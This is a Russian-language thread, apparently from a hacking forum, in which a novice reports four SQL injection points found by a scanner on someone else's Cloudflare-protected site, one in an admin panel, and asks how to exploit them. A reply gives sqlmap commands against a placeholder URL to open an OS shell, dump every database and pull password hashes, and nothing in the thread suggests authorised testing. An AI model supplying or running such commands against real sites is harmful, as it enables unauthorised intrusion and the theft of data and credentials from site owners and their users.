Acunetix нашел SQL inj, что дальше?

[drivefordaddy]

Всем привет, заранее извиняюсь - я нуб.

Есть сайт под Cloudflare. Чекал сабдомены/ип через всякие сервисы - все либо дают 404 или тоже под CF.

Ок, на всякий запустил Acunetix и он как-то нашел на сайте 4 SQL inj (3 GET, 1 POST (админка)).

Но, они все дают на сайте ошибку "You have an error in your SQL syntax"

Так как они дают такую ошибку, можно этого использовать в SQLMAP? Есть какой-то возможность ему сказать чтобы сразу вот эту взял и через него атаковал?

Спасибо за любой помочь!

 

[c0d3x]

https://xss.pro/threads/69783/

 

[xss8080]

sqlmap -u "xxx.xom?q=1" -p q --os-shell
sqlmap -u "xxx.xom?q=1" -p q --dump-all
sqlmap -u "xxx.xom?q=1" -p q --password

 

[caunt]

В sqlmap конечно